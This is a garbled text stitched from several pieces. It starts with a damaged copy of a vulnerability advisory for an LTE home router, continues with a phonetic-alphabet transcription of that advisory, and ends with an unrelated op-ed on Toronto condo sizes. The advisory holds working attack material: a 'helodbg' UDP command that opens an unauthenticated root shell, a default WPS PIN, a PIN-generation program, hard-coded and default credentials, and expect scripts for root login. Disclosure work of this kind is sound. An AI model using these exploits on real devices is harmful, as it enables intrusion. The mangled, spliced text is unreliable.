a backdoor is present inside the program. by sending a specificing in to the router, an server will start if a daemon is not already running.
in , a thread listens to (udp) and waits for commands.
if a client sends "helodbg" to the router, the router will execute -l , allowing to access without authentication to the router as root.
when using ida, we can see the backdoor is located in the main function (line 369):
working :
user@kali:~$ echo -ne "helodbg" | -u 39889 hello ^c user@kali:~$ trying... connected to. escape character is '^]'. linux 20141210 / # id uid=0(root) gid=0(root) / # exit connection closed by foreign host. user@kali:~$
details - default pin
wi-fi protected setup(wps) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).
by default, the pin for the system is ever 28296607 . it is, in fact, in the program:
this pin can be found in theuration too, and, using the information leak, in the of the router:
root@homerouter:~# 1006 rootd 1219 root root@homerouter:~# cat [...] [...]
details - weak pin generation - with a algorithm
an user can use the to generate a temporary pin for the system (low probability as the 28296607 pin is provided by default).
the pin generated by the router is weak as it is generated using this "strange" algorithm:
user@kali:~$ cat-wps-gen.c
#include <stdio.h> #include <stdlib.h> #include <time.h> main ( argc, char ** argv, char ** envp) { unsigned,;; /* the seed is the current time of the router, which uses... */(time( 0 )); = rand() % 10000000 ; if <= 999999 ) += 1000000 ; = 10 *; = ( 10 - / 10000 % 10 + / 1000000 % 10 + / 100 % 10 + 3 * / 100000 % 10 + 10 * / 10000000 % 10 + / 1000 % 10 + / 10 % 10 )) % 10 ) % 10 + 10 *; printf( "%d
" , ); return ( 0 ); }
user@kali:~$ -o-wps-gen-wps-gen.c user@kali:~$ 97329329 user@kali:~$
you can fetch this program ats://pierrekim.github.io/advisories/quanta-wps-gen.c.
using)) as a seed is a bad idea because an attacker, knowing the current date as) returns the current date in aneger value, can just generate the valid pin. the router uses so is likely to have a correctured. it's trivial for an attacker to generate valid pin suites and them.
for the curious reader, the original algorithm in the is:
.text:0001b4d4 export ; code xref: = -0x3c = -0x38 s = -0x34 = -0x30 = -0x2c sp!, {r4-r11,lr} sub sp, sp, #0x1c, [sp,#0x40+s], #0 ; timer time rand, =0x6b5fca6b,,asr#31 smull,,,0,,,asr#222,0,0,lsl#5,2,2,lsl#6 add1,0,,lsl#3, =0xf423f add,1,1,lsl#2 sub,,,lsl#7,,, #0xf4000,, #0x240 add,,,lsl#2,,lsl#1, =0xcccccccd, =0xa7c5ac5, =0x6b5fca6b,,lsr#5,,,,,,,,,2, =0xd1b71759,,lsr#220,2,,2,0,,,,0,,, =0x431bde832,2,lsr#131,,,0,],0,,2, =0x51eb851f, =0x10624dd3,,,,,lsr#180, [sp,#0x40+var_3c],,,,0,,,,lsr#5,,lsr#7,1,,0,],,lsr#6,0,,,,,0, [sp,#0x40+var_2c],,lsr#30,1,lsr#3 add1,0,0,lsl#2 add,,,lsl#20,,lsr#3,] sub,,,lsl#1 sub,,1,lsl#1, [sp,#0x40+var_3c]1,] add,0,0,lsl#2 sub,,,lsl#1, [sp,#0x40+var_2c]0,,lsr#3,,lsr#3,1,lsr#3 add,, add0,0,0,lsl#2 add,,,lsl#21,,lsr#3 add,,,lsl#2 add,, sub,,0,lsl#1 sub,,,lsl#1 sub,2,,lsl#1 add1,1,1,lsl#2 add2,, sub,,1,lsl#1 add,, add,, add,2,2,lsl#1 add,,,,,,,lsr#3 add,,,lsl#2 sub,,,lsl#1, =0x66666667,, #0xa smull,,,2,,asr#31,2,,asr#2 add,,,lsl#22, -) sub,,,lsl#1, - 0x1b67c) add,, add, pc,2 ; "hostapd_conf_file_gen" add,, #0x3c, #0x3b add, pc, ; "get_wpspin:%in",, -), [sp,#0x40+s] ; s add, pc, ; "%08lu", add sp, sp, #0x1c sp!, {r4-r11,lr} b ; end of function
details - leaking account (?):
the file (for a client) contains an user and a password:
--log_file 6000 --password 641021 --alias
details - multiple vulnerabilities in the daemon (qmiweb)
the daemon is full of vulnerabilities.
you can see my precedent researches about a router model using a similar:
adapting the exploits is left as exercises for the reader :)
details - remote over the air)
the credentials to contact the server are in the binary, as shown with this ida screenshot:
the function contains the credentials as base64-strings, used to retrieve the.
it's notable the daemon tries to retrieve the overs. but at the date of the writing, theificate fors://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for year.
the combinations are:
qdpc:qdpc
details - bad security practices:
from , you will read "strange" shell commands executed as root, like:
if [ -f ]; then echo -n 777 netcfg" 777 fi if [ -f ]; then echo -n 777 qnetcfg" 777 fi
i have no idea why the vendor needs to 777 files located in /bin/.
details - security removed in
upnp allows to add firewall rules dynamically. because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an lan client.
insecurity in was hype 10 years ago (in 2006). the security level of the program (miniupnp) in this router is lowered as shown below and allows an attacker located in the lan area to add port forwarding from theernet to other clients located in the lan:
the is generated by the program:
it will generate the file:
ext_ifname=rmnet0 # "secure" mode : when enabled, client are allowed to add only to their ip._forward_chain=miniupnpd_nat_chain=miniupnpd
there is no restriction about the permission rules in theuration file, contrary to common usage in where it is advised to only allow redirection of port above 1024:
normal file:
# permission rules # (allow|deny) (external port range) (internal port range) # a port range is <min port> or <port> if there is only # one port in the range. # format must be # it is advised to only allow redirection of port above 1024 # and to finish the rule set with "deny" allow deny
in theuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the wano the lan. for example, an attacker can add a forwarding rule in order to allow traffic from theernet to local exchange servers, mail servers, servers, servers, database servers... in fact, this lack of security allows a local user to forward whatever they want from theerneto the lan.
personal notes
as the router has a sizable memory (168 mb), a decent and good free space (235 mb) with complete installed by default (sshd, proxy ( -c ), ...), i advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, lan hacking, active tool, zombie).
from my tests, it is possible to overwrite the with a custom (backdoored). generating a valid is left as an exercise for the reader, but with all these vulnerabilities present in the default, i don't think it is worth making the effort.
vendor response
customers with questions should contact their support offices for the latest information.
report timeline
dec 04, 2015: vulnerabilities found by pierre kim in routers.
apr 04, 2016: a public advisory about routers is sent to security mailing lists.
jun 09, 2016: pierre kim is contacted by gianni about similarities to routers.
jun 14, 2016: pierre kim thanks gianni and says he will contact.
jun 15, 2016: is contacted about vulnerabilities in the router (=~ 20 vulns).
jun 16, 2016: security incident response team (william brown) acknowledges the receipt of the report and says they will provide further updates.
jul 09, 2016: pierre asks for updates.
jul 09, 2016: says they will have correction byy 15.
jul 19, 2016: pierre asks for updates.
aug 19, 2016: pierre asks for updates.
sep 12, 2016: pierre asks for updates and says he will soon release an advisory as 90 days have passed without news.
sep 12, 2016: is contacted to get pieces of advice about the disclosure.
sep 13, 2016: recommends to try to contact and to publish the advisory.
sep 13, 2016:s says they don't have a schedule for a release. customers who have questions should contact their support offices for the latest information. will be updated in the next 24 hours.
sep 28, 2016: a public advisory is sent to security mailing lists.
credits
these vulnerabilities were found by pierre kim (@pierrekimsec).
i would like to thank gianni who found this router and thought it was very similar to the previous routers.
references
https://pierrekim.github.io/advisories/2016-dlink-0x00.txt
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli
disclaimer
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ˌvəlnərəˈbɪlɪtiz faʊnd hæv bɪn dɪˈskloʊzd ɪn ðɪs ædˈvaɪzəri. ˈoʊnli ðə sɪgˈnɪfɪkənt wənz ər ʃoʊn. ðɪs ˈrutər ɪz stɪl ɔn seɪl. du tɪ læk əv sɪˈkjʊrəti ˈpæʧɪz prəˈvaɪdɪd baɪ ðə ˈvɛndər, ðə ˌvəlnərəˈbɪlɪtiz wɪl rɪˈmeɪn ənd ˈkəstəmərz wɪθ kˈwɛsʧənz ʃʊd ˈkɑnˌtækt ðɛr səˈpɔrt ˈɔfəs fər ðə ˈleɪtəst ˌɪnˌfɔrˈmeɪʃən. ˈditeɪlz ˈbækˌdɔr əˈkaʊnts baɪ dɪˈfɔlt, ənd ər ˈrənɪŋ ɪn ðə ˈrutər. ɪz ˈrənɪŋ ˈivɪn ɪf ðɛr ɪz noʊ ˌdɑkjəmɛnˈteɪʃən əˈbaʊt ɪt: user@kali*:~$ kæt #ˈsændroʊ fər diˈbəg... -ɛs -bi -ə #ɪf -i ðɛn -ɛs -bi -ə #fi #ˈsændroʊ 2 ˈbækˌdɔr əˈkaʊnts ɪgˈzɪst ənd kən bi juzd tɪ ˈbaɪˌpæs ðə ɔˌθɛntəˈkeɪʃən juzd tɪ ˈmænɪʤ ðə ˈrutər. admin@homerouter*:~$ ˈædmɪn admin@homerouter*:~$ ðə ˈpæsˌwərd fər ˈædmɪn ɪz 'ˈædmɪn' ənd kən bi faʊnd ɪn ðə ˈproʊˌgræm ˈjuzɪŋ ˈaɪdə: əˈbaʊt ðə rut ˈjuzər: user@kali*:~$ kæt admin@kali*:~$ ˈjuzɪŋ ʤɑn tɪ kræk ðə ˈhæʃəz: user@kali*:~$ ʤɑn -ʃoʊ 2 ˈpæsˌwərd ˈhæʃəz krækt, 0 lɛft user@kali*:~$ rɪˈzəlts: ˈædmɪn həz ˈpæsˌwərd ˈædmɪn rut həz ˈpæsˌwərd 1234 ˈwərkɪŋ ˌɛkˈsplɔɪt fər ˈædmɪn: user@kali*:~$ kæt -ɛf sɛt ˈtaɪˌmaʊt 3 spɔn ɪkˈspɛkt "ˈpæsˌwərd: sɛnd "admin\r*" ˌɪnərˈækt user@kali*:~$ spɔn ˈpæsˌwərd: admin@homerouter*:~$ ˈaɪˈdi uid=168(admin*) gid=168(admin*) groups=168(admin*) admin@homerouter*:~$ ɔlˈtərnətɪvli, ju kən fɛʧ ɪt æt https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin*. ˈwərkɪŋ ˌɛkˈsplɔɪt fər rut: user@kali*:~$ kæt -ɛf sɛt ˈtaɪˌmaʊt 3 spɔn ɪkˈspɛkt "ˈpæsˌwərd: sɛnd 1234\r*" ˌɪnərˈækt user@kali*:~$ spɔn ˈpæsˌwərd: root@homerouter*:~# ˈaɪˈdi uid=168(root*) gid=168(root*) groups=168(root*) root@homerouter*:~# ɔlˈtərnətɪvli, ju kən fɛʧ ɪt æt https://pierrekim.github.io/advisories/quanta-ssh-default-password-root*. ˈditeɪlz ˈbækˌdɔr ə ˈbækˌdɔr ɪz ˈprɛzənt ˌɪnˈsaɪd ðə ˈproʊˌgræm. baɪ ˈsɛndɪŋ ə spɪˈsɪfɪk strɪŋ ɪn tɪ ðə ˈrutər, ən ˈsərvər wɪl stɑrt ɪf ə ˈdimən ɪz nɑt ɔˈrɛdi ˈrənɪŋ. ɪn ə θrɛd ˈlɪsənz tɪ (udp*) ənd weɪts fər kəˈmændz. ɪf ə klaɪənt sɛndz "helodbg*" tɪ ðə ˈrutər, ðə ˈrutər wɪl ˈɛksəˌkjut -ɛl əˈlaʊɪŋ tɪ ˈækˌsɛs wɪˈθaʊt ɔˌθɛntəˈkeɪʃən tɪ ðə ˈrutər ɛz rut. wɪn ˈjuzɪŋ ˈaɪdə, wi kən si ðə ˈbækˌdɔr ɪz ˈloʊˌkeɪtəd ɪn ðə meɪn ˈfəŋkʃən (laɪn 369 ˈwərkɪŋ user@kali*:~$ ˈɛkoʊ -ni "helodbg*" -ju 39889 hɛˈloʊ ^si user@kali*:~$ traɪɪŋ kəˈnɛktɪd tɪ ɪˈskeɪp ˈkɛrɪktər ɪz ˈlɪnəks 20141210 ˈaɪˈdi uid=0(root*) gid=0(root*) ˈɛksət kəˈnɛkʃən kloʊzd baɪ ˈfɔrən hoʊst. user@kali*:~$ ˈditeɪlz dɪˈfɔlt pɪn ˈwaɪˌfaɪ prəˈtɛktɪd setup(wps*) ɪz ə ˈstændərd fər ˈizi ənd sɪˈkjʊr ɪˈstæblɪʃmənt əv ə ˈwaɪrlɪs hoʊm ˈnɛtˌwərk, ɛz dɪˈfaɪnd ɪn ðə ˌdɑkjəmɛnˈteɪʃən prəˈvaɪdɪd ɪn ðə ˈrutər (help.html*). baɪ dɪˈfɔlt, ðə pɪn fər ðə ˈsɪstəm ɪz ˈɛvər 28296607 ɪt ɪz, ɪn fækt, ɪn ðə ˈproʊˌgræm: ðɪs pɪn kən bi faʊnd ɪn ðə kənˌfɪgjərˈeɪʃən tu, ənd, ˈjuzɪŋ ðə ˌɪnˌfɔrˈmeɪʃən lik, ɪn ðə əv ðə ˈrutər: root@homerouter*:~# 1006 rut 1219 rut root@homerouter*:~# kæt ˈditeɪlz wik pɪn ˌʤɛnərˈeɪʃən wɪθ ə ˈælgərˌɪðəm ən ˈjuzər kən juz ðə tɪ ˈʤɛnərˌeɪt ə ˈtɛmpərˌɛri pɪn fər ðə ˈsɪstəm (loʊ ˌprɑbəˈbɪləˌti ɛz ðə 28296607 pɪn ɪz prəˈvaɪdɪd baɪ dɪˈfɔlt). ðə pɪn ˈʤɛnərˌeɪtɪd baɪ ðə ˈrutər ɪz wik ɛz ɪt ɪz ˈʤɛnərˌeɪtɪd ˈjuzɪŋ ðɪs "streɪnʤ" ˈælgərˌɪðəm: user@kali*:~$ kæt #ˌɪnˈklud <stdio.h*> #ˌɪnˈklud <stdlib.h*> #ˌɪnˈklud <time.h*> meɪn argc*, ʧɑr argv*, ʧɑr envp*) ənˈsaɪnd ðə sid ɪz ðə ˈkɑrənt taɪm əv ðə ˈrutər, wɪʧ ˈjuzɪz... srand(time*( 0 rænd() 10000000 ɪf 999999 1000000 10 10 10000 10 1000000 10 100 10 3 100000 10 10 10000000 10 1000 10 10 10 10 10 10 printf*( "%di rɪˈtərn 0 user@kali*:~$ -oʊ user@kali*:~$ 97329329 user@kali*:~$ ju kən fɛʧ ðɪs ˈproʊˌgræm æt https://pierrekim.github.io/advisories/quanta-wps-gen.c*. ˈjuzɪŋ ɛz ə sid ɪz ə bæd aɪˈdiə bɪˈkəz ən əˈtækər, noʊɪŋ ðə ˈkɑrənt deɪt ɛz rɪˈtərnz ðə ˈkɑrənt deɪt ɪn ən ˈɪntəʤər ˈvælju, kən ʤɪst ˈʤɛnərˌeɪt ðə ˈvælɪd pɪn. ðə ˈrutər ˈjuzɪz soʊ ɪz ˈlaɪkli tɪ hæv ə kərˈɛkt kənˈfɪgjərd. ɪts ˈtrɪviəl fər ən əˈtækər tɪ ˈʤɛnərˌeɪt ˈvælɪd pɪn swits ənd ðɛm. fər ðə ˈkjʊriəs ˈridər, ðə ərˈɪʤənəl ˈælgərˌɪðəm ɪn ðə ɪz: ˈɛkspɔrt koʊd xref*: ɛs sp*!, {r4-r11,lr*} səb sp*, sp*, [sp,#0x40+s*] 0 ˈtaɪmər taɪm rænd sməl æd æd səb æd,, [sp,#0x40+var_3c*] [sp,#0x40+var_2c*] æd æd səb səb [sp,#0x40+var_3c*] æd səb [sp,#0x40+var_2c*] æd æd æd æd æd səb,, səb səb æd æd səb æd æd æd æd æd, səb sməl æd, səb 0x1b67c*) æd æd ˈpiˈsi, "hostapd_conf_file_gen*" æd æd ˈpiˈsi, "get_wpspin:%in*" [sp,#0x40+s*] ɛs æd ˈpiˈsi, 08lu*" æd sp*, sp*, sp*!, {r4-r11,lr*} bi ɛnd əv ˈfəŋkʃən ˈditeɪlz ˈlikɪŋ əˈkaʊnt ðə faɪl (fər ə klaɪənt) kənˈteɪnz ən ˈjuzər ənd ə ˈpæsˌwərd: 6000 --ˈpæsˌwərd 641021 --ˈeɪliəs ˈditeɪlz ˈməltəpəl ˌvəlnərəˈbɪlɪtiz ɪn ðə ˈdimən (qmiweb*) ðə ˈdimən ɪz fʊl əv ˌvəlnərəˈbɪlɪtiz. ju kən si maɪ ˈprɛsɪdənt riˈsərʧɪz əˈbaʊt ə ˈrutər ˈmɑdəl ˈjuzɪŋ ə ˈsɪmələr: əˈdæptɪŋ ðə ˈɛkˌsplɔɪts ɪz lɛft ɛz ˈɛksərˌsaɪzɪz fər ðə ˈridər ˈditeɪlz rɪˈmoʊt ˈoʊvər ðə ɛr) ðə krəˈdɛnʃəlz tɪ ˈkɑnˌtækt ðə ˈsərvər ər ɪn ðə ˈbaɪnəˌri, ɛz ʃoʊn wɪθ ðɪs ˈaɪdə screenshot*: ðə ˈfəŋkʃən kənˈteɪnz ðə krəˈdɛnʃəlz ɛz base64-strings*, juzd tɪ rɪˈtriv ðə. ɪts ˈnoʊtəbəl ðə ˈdimən traɪz tɪ rɪˈtriv ðə ˈoʊvər https*. bət æt ðə deɪt əv ðə ˈraɪtɪŋ, ðə sərˈtɪfɪkət fər ɪz ˌɪnˈvæləd fər jɪr. ðə ˌkɑmbəˈneɪʃənz ər: ˈditeɪlz bæd sɪˈkjʊrəti ˈpræktɪsɪz: frəm ju wɪl rɛd "streɪnʤ" ʃɛl kəˈmændz ˈɛksəˌkjutɪd ɛz rut, laɪk: ɪf -ɛf ðɛn ˈɛkoʊ -ɛn 777 netcfg*" 777 fi ɪf -ɛf ðɛn ˈɛkoʊ -ɛn 777 qnetcfg*" 777 fi aɪ hæv noʊ aɪˈdiə waɪ ðə ˈvɛndər nidz tɪ 777 faɪlz ˈloʊˌkeɪtəd ɪn /bɪn/. ˈditeɪlz sɪˈkjʊrəti riˈmuvd ɪn əˈlaʊz tɪ æd ˈfaɪrwɑl rulz dynamically*. bɪˈkəz əv ðə sɪˈkjʊrəti rɪsks ˌɪnˈvɑlvd, ˈʤɛnərəli ðɛr ər riˈstrɪkʃənz ɪn pleɪs tɪ əˈvɔɪd ˈdeɪnʤərəs nu ˈfaɪrwɑl rulz frəm ən læn klaɪənt. ˌɪnsɪˈkjʊrɪti ɪn wɑz haɪp 10 jɪrz əˈgoʊ (ɪn 2006 ðə sɪˈkjʊrəti ˈlɛvəl əv ðə ˈproʊˌgræm (miniupnp*) ɪn ðɪs ˈrutər ɪz loʊərd ɛz ʃoʊn bɪˈloʊ ənd əˈlaʊz ən əˈtækər ˈloʊˌkeɪtəd ɪn ðə læn ˈɛriə tɪ æd pɔrt ˈfɔrwərdɪŋ frəm ðə ˈɪntərˌnɛt tɪ ˈəðər klaɪənts ˈloʊˌkeɪtəd ɪn ðə læn: ðə ɪz ˈʤɛnərˌeɪtɪd baɪ ðə ˈproʊˌgræm: ɪt wɪl ˈʤɛnərˌeɪt ðə faɪl: "sɪˈkjʊr" moʊd wɪn ɪˈneɪbəld, klaɪənt ər əˈlaʊd tɪ æd ˈoʊnli tɪ ðɛr ˌaɪˌpi. ðɛr ɪz noʊ riˈstrɪkʃən əˈbaʊt ðə pərˈmɪʃən rulz ɪn ðə kənˌfɪgjərˈeɪʃən faɪl, ˈkɑntrɛri tɪ ˈkɑmən ˈjusɪʤ ɪn wɛr ɪt ɪz ədˈvaɪzd tɪ ˈoʊnli əˈlaʊ ˌridərˈɛkʃən əv pɔrt əˈbəv 1024 ˈnɔrməl faɪl: pərˈmɪʃən rulz (allow|deny*) (ɪkˈstərnəl pɔrt reɪnʤ) (ˌɪnˈtərnəl pɔrt reɪnʤ) ə pɔrt reɪnʤ ɪz <mɪn pɔrt> ər <pɔrt> ɪf ðɛr ɪz ˈoʊnli wən pɔrt ɪn ðə reɪnʤ. ˈfɔrˌmæt məst bi ɪt ɪz ədˈvaɪzd tɪ ˈoʊnli əˈlaʊ ˌridərˈɛkʃən əv pɔrt əˈbəv 1024 ənd tɪ ˈfɪnɪʃ ðə rul sɛt wɪθ "dɪˈnaɪ əˈlaʊ dɪˈnaɪ ɪn ðə kənˌfɪgjərˈeɪʃən əv ðə ˈvəlnərəbəl ˈrutər wɛr ðɛr ər noʊ pərˈmɪʃən rulz, ən əˈtækər kən ˈfɔrwərd ˈɛvriˌθɪŋ frəm ðə wɑn ˈɪntu ðə læn. fər ɪgˈzæmpəl, ən əˈtækər kən æd ə ˈfɔrwərdɪŋ rul ɪn ˈɔrdər tɪ əˈlaʊ ˈtræfɪk frəm ðə ˈɪntərˌnɛt tɪ ˈloʊkəl ɪksˈʧeɪnʤ ˈsərvərz, meɪl ˈsərvərz, ˈsərvərz, ˈsərvərz, ˈdætəˌbeɪs ˈsərvərz... ɪn fækt, ðɪs læk əv sɪˈkjʊrəti əˈlaʊz ə ˈloʊkəl ˈjuzər tɪ ˈfɔrwərd ˌwəˈtɛvər ðeɪ wɔnt frəm ðə ˈɪntərˌnɛt ˈɪntu ðə læn. ˈpərsɪnəl noʊts ɛz ðə ˈrutər həz ə ˈsaɪzəbəl ˈmɛməri 168 mb*), ə ˈdisənt ənd gʊd fri speɪs 235 mb*) wɪθ kəmˈplit ˌɪnˈstɔld baɪ dɪˈfɔlt (sshd*, ˈprɑksi -si aɪ ədˈvaɪz ˈjuzərz tɪ træʃ ðɛr ˈrutərz bɪˈkəz ɪts ˈtrɪviəl fər ən əˈtækər tɪ juz ðɪs ˈrutər ɛz ən əˈtæk ˈvɛktər (ie*: ˈhoʊstɪŋ ə sˈnɪfɪŋ tul, læn ˈhækɪŋ, ˈæktɪv tul, ˈzɑmbi). frəm maɪ tɛsts, ɪt ɪz ˈpɑsəbəl tɪ ˌoʊvərˈraɪt ðə wɪθ ə ˈkəstəm (backdoored*). ˈʤɛnərˌeɪtɪŋ ə ˈvælɪd ɪz lɛft ɛz ən ˈɛksərˌsaɪz fər ðə ˈridər, bət wɪθ ɔl ðiz ˌvəlnərəˈbɪlɪtiz ˈprɛzənt ɪn ðə dɪˈfɔlt, aɪ doʊnt θɪŋk ɪt ɪz wərθ ˈmeɪkɪŋ ðə ˈɛfərt. ˈvɛndər rɪˈspɑns ˈkəstəmərz wɪθ kˈwɛsʧənz ʃʊd ˈkɑnˌtækt ðɛr səˈpɔrt ˈɔfəsɪz fər ðə ˈleɪtəst ˌɪnˌfɔrˈmeɪʃən. rɪˈpɔrt ˈtaɪmlaɪn dɛk 04 2015 ˌvəlnərəˈbɪlɪtiz faʊnd baɪ piɛr kɪm ɪn ˈrutərz. 04 2016 ə ˈpəblɪk ædˈvaɪzəri əˈbaʊt ˈrutərz ɪz sɛnt tɪ sɪˈkjʊrəti ˈmeɪlɪŋ lɪsts. ʤən 09 2016 piɛr kɪm ɪz ˈkɑnˌtæktɪd baɪ ˈʤɑˌni əˈbaʊt ˌsɪməˈlɛrətiz tɪ ˈrutərz. ʤən 14 2016 piɛr kɪm θæŋks ˈʤɑˌni ənd sɪz hi wɪl ˈkɑnˌtækt. ʤən 15 2016 ɪz ˈkɑnˌtæktɪd əˈbaʊt ˌvəlnərəˈbɪlɪtiz ɪn ðə ˈrutər 20 vulns*). ʤən 16 2016 sɪˈkjʊrəti ˈɪnsədənt rɪˈspɑns tim (ˈwɪljəm braʊn) ækˈnɑlɪʤɪz ðə rɪˈsit əv ðə rɪˈpɔrt ənd sɪz ðeɪ wɪl prəˈvaɪd ˈfərðər ˈəpˌdeɪts. 09 2016 piɛr æsks fər ˈəpˌdeɪts. 09 2016 sɪz ðeɪ wɪl hæv kərˈɛkʃən baɪ ˌʤuˈlaɪ 15 19 2016 piɛr æsks fər ˈəpˌdeɪts. ˈɔgəst 19 2016 piɛr æsks fər ˈəpˌdeɪts. ˈɛˈsiˈpi 12 2016 piɛr æsks fər ˈəpˌdeɪts ənd sɪz hi wɪl sun riˈlis ən ædˈvaɪzəri ɛz 90 deɪz hæv pæst wɪˈθaʊt nuz. ˈɛˈsiˈpi 12 2016 ɪz ˈkɑnˌtæktɪd tɪ gɪt ˈpisɪz əv ədˈvaɪs əˈbaʊt ðə dɪˈskloʊʒər. ˈɛˈsiˈpi 13 2016 ˌrɛkəˈmɛndz tɪ traɪ tɪ ˈkɑnˌtækt ənd tɪ ˈpəblɪʃ ðə ædˈvaɪzəri. ˈɛˈsiˈpi 13 2016 sɪz ðeɪ doʊnt hæv ə ˈskɛʤʊl fər ə riˈlis. ˈkəstəmərz hu hæv kˈwɛsʧənz ʃʊd ˈkɑnˌtækt ðɛr səˈpɔrt ˈɔfəsɪz fər ðə ˈleɪtəst ˌɪnˌfɔrˈmeɪʃən. wɪl bi ˈəpˌdeɪtɪd ɪn ðə nɛkst 24 aʊərz. ˈɛˈsiˈpi 28 2016 ə ˈpəblɪk ædˈvaɪzəri ɪz sɛnt tɪ sɪˈkjʊrəti ˈmeɪlɪŋ lɪsts. ˈkrɛdɪts ðiz ˌvəlnərəˈbɪlɪtiz wər faʊnd baɪ piɛr kɪm (@pierrekimsec*). aɪ wʊd laɪk tɪ θæŋk ˈʤɑˌni hu faʊnd ðɪs ˈrutər ənd θɔt ɪt wɑz ˈvɛri ˈsɪmələr tɪ ðə ˈpriviəs ˈrutərz. ˈrɛfərənsɪz dɪˈskleɪmər ðɪs ædˈvaɪzəri ɪz ˈlaɪsənst ˈəndər ə kriˈeɪtɪv ˈkɑmənz ˌætrɪˈbjuʃən ˈnɑnkəˈmərʃəl ˈlaɪsəns: |
it’s a frequent refrain from young looking to upsize or start a family without fleeing to the suburbs: why there more large units downtown?
a recent report by the city building institute (cbi) at ryerson university and a survey by environics research both highlighted the need for units in toronto, arguing that developers and builders are ignoring the demand for larger units by young professionals and baby boomers.
the axioms of urban economics, however, explain why large condominiums are for very dense urban cores.
like other vibrant downtowns in manhattan and london, toronto has a tightly clustered financial district that is also home for some young professionals who are mostly unmarried, without children and rent condominiums.
a key to the development puzzle lies in the gap between the stated preferences of these young renter professionals (“wouldn’t it be nice to start a family downtown?”) with the revealed preferences of young households with children (“the suburbs it is”).
on a basis, a condominium downtown will always be significantly more expensive than a townhouse in a suburb. why? land prices.
downtown land is in huge demand because it is scarce, which leads to high prices and buildings. condo sizes are smallest in places with the highest land prices. contrarily, places with less expensive land attract larger units, as per the first axiom of urban economics: prices adjust to achieve equilibrium.
for economic efficiency, scarce and land must be used for office and residential land uses. smaller sized units, and not condos, are a more efficient residential use of scarce land that permits more workers to be near their jobs in the financial core.
so, what to do with the unmet demand for large condos?
well, if there really were an unmet economic demand, builders would have responded to it. evidence of actual demand for condos, it turns out, is rather elusive.
recent environics surveys found young professionals complained of a lack of condos (a stated preference), but did not necessarily show an interest in owning large condos themselves. in fact, 81 per cent of respondents said that they did not want a condo at all, with most desiring a detached home. environics found that young professionals were predominantly renters and that 83 per cent did not have children.
builders respond to revealed preferences and not stated preferences. they are aware of triggers, such as the birth of a first child, which increases the demand for space and pushes young families to the suburbs where cheaper land makes owning larger houses possible.
the suburbs, as a result, have become better equipped to cater to families with children: restaurants there always have plenty of high chairs, but try showing up with three children at an upscale downtown restaurant for dinner and watch the staff scramble. the suburbs also have an abundance of soccer fields, playgrounds, parks, hockey arenas, and parking lots for vehicles stuffed with sporting equipment.
when, by contrast, was the last time you saw a parent travelling with hockey bags and children on a subway?
renters, and not investors, generate the demand for shelter space in and around downtowns. investors respond to the demand by providing one and units to renters. as it is, downtown residential rents barely cover the ownership costs of investors who effectively subsidize the renting young professionals.
if condos in the downtown core made more cents for investors, they might make more sense for builders.
in the end, it is all land economics.
murtaza haider is an associate professor at ryerson university. stephen is a real estate industry veteran. they can be reached at info@hmbulletin.com. | it’s* ə ˈfrikˌwɛnt rɪˈfreɪn frəm jəŋ ˈlʊkɪŋ tɪ ˈəpˈsaɪz ər stɑrt ə ˈfæməli wɪˈθaʊt fliɪŋ tɪ ðə ˈsəbərbz: waɪ ðɛr mɔr lɑrʤ ˈjunɪts ˈdaʊnˈtaʊn? ə ˈrisənt rɪˈpɔrt baɪ ðə ˈsɪti ˈbɪldɪŋ ˈɪnstɪˌtut (cbi*) æt ˈraɪrsən ˌjunəˈvərsəti ənd ə ˈsərˌveɪ baɪ ˌɛnvaɪˈrɔnɪks ˈrisərʧ boʊθ ˈhaɪˌlaɪtɪd ðə nid fər ˈjunɪts ɪn tərˈɑntoʊ, ˈɑrgjuɪŋ ðət dɪˈvɛləpərz ənd ˈbɪldərz ər ˌɪgˈnɔrɪŋ ðə dɪˈmænd fər ˈlɑrʤər ˈjunɪts baɪ jəŋ prəˈfɛʃənəlz ənd ˈbeɪbi ˈbumərz. ðə ˈæksiəmz əv ˈərbən ˌɛkəˈnɑmɪks, ˌhaʊˈɛvər, ɪkˈspleɪn waɪ lɑrʤ ˌkɑndəˈmɪniəmz ər fər ˈvɛri dɛns ˈərbən kɔrz. laɪk ˈəðər ˈvaɪbrənt ˈdaʊnˈtaʊnz ɪn mænˈhætən ənd ˈləndən, tərˈɑntoʊ həz ə ˈtaɪtli ˈkləstərd ˌfaɪˈnænʃəl ˈdɪstrɪkt ðət ɪz ˈɔlsoʊ hoʊm fər səm jəŋ prəˈfɛʃənəlz hu ər ˈmoʊstli ənˈmɛrid, wɪˈθaʊt ˈʧɪldrən ənd rɛnt ˌkɑndəˈmɪniəmz. ə ki tɪ ðə dɪˈvɛləpmənt ˈpəzəl laɪz ɪn ðə gæp bɪtˈwin ðə ˈsteɪtɪd ˈprɛfərənsɪz əv ðiz jəŋ ˈrɛntər prəˈfɛʃənəlz ɪt bi nis tɪ stɑrt ə ˈfæməli downtown?”*?”) wɪθ ðə rɪˈvild ˈprɛfərənsɪz əv jəŋ ˈhaʊsˌhoʊldz wɪθ ˈʧɪldrən ˈsəbərbz ɪt is”*”). ɔn ə ˈbeɪsɪs, ə ˌkɑndəˈmɪniəm ˈdaʊnˈtaʊn wɪl ˈɔlˌweɪz bi sɪgˈnɪfɪkəntli mɔr ɪkˈspɛnsɪv ðən ə ˈtaʊnˌhaʊs ɪn ə ˈsəbərb. waɪ? lænd ˈpraɪsɪz. ˈdaʊnˈtaʊn lænd ɪz ɪn juʤ dɪˈmænd bɪˈkəz ɪt ɪz skɛrs, wɪʧ lidz tɪ haɪ ˈpraɪsɪz ənd ˈbɪldɪŋz. ˈkɑndoʊ ˈsaɪzɪz ər sˈmɔləst ɪn ˈpleɪsɪz wɪθ ðə haɪəst lænd ˈpraɪsɪz. contrarily*, ˈpleɪsɪz wɪθ lɛs ɪkˈspɛnsɪv lænd əˈtrækt ˈlɑrʤər ˈjunɪts, ɛz pər ðə fərst ˈæksiəm əv ˈərbən ˌɛkəˈnɑmɪks: 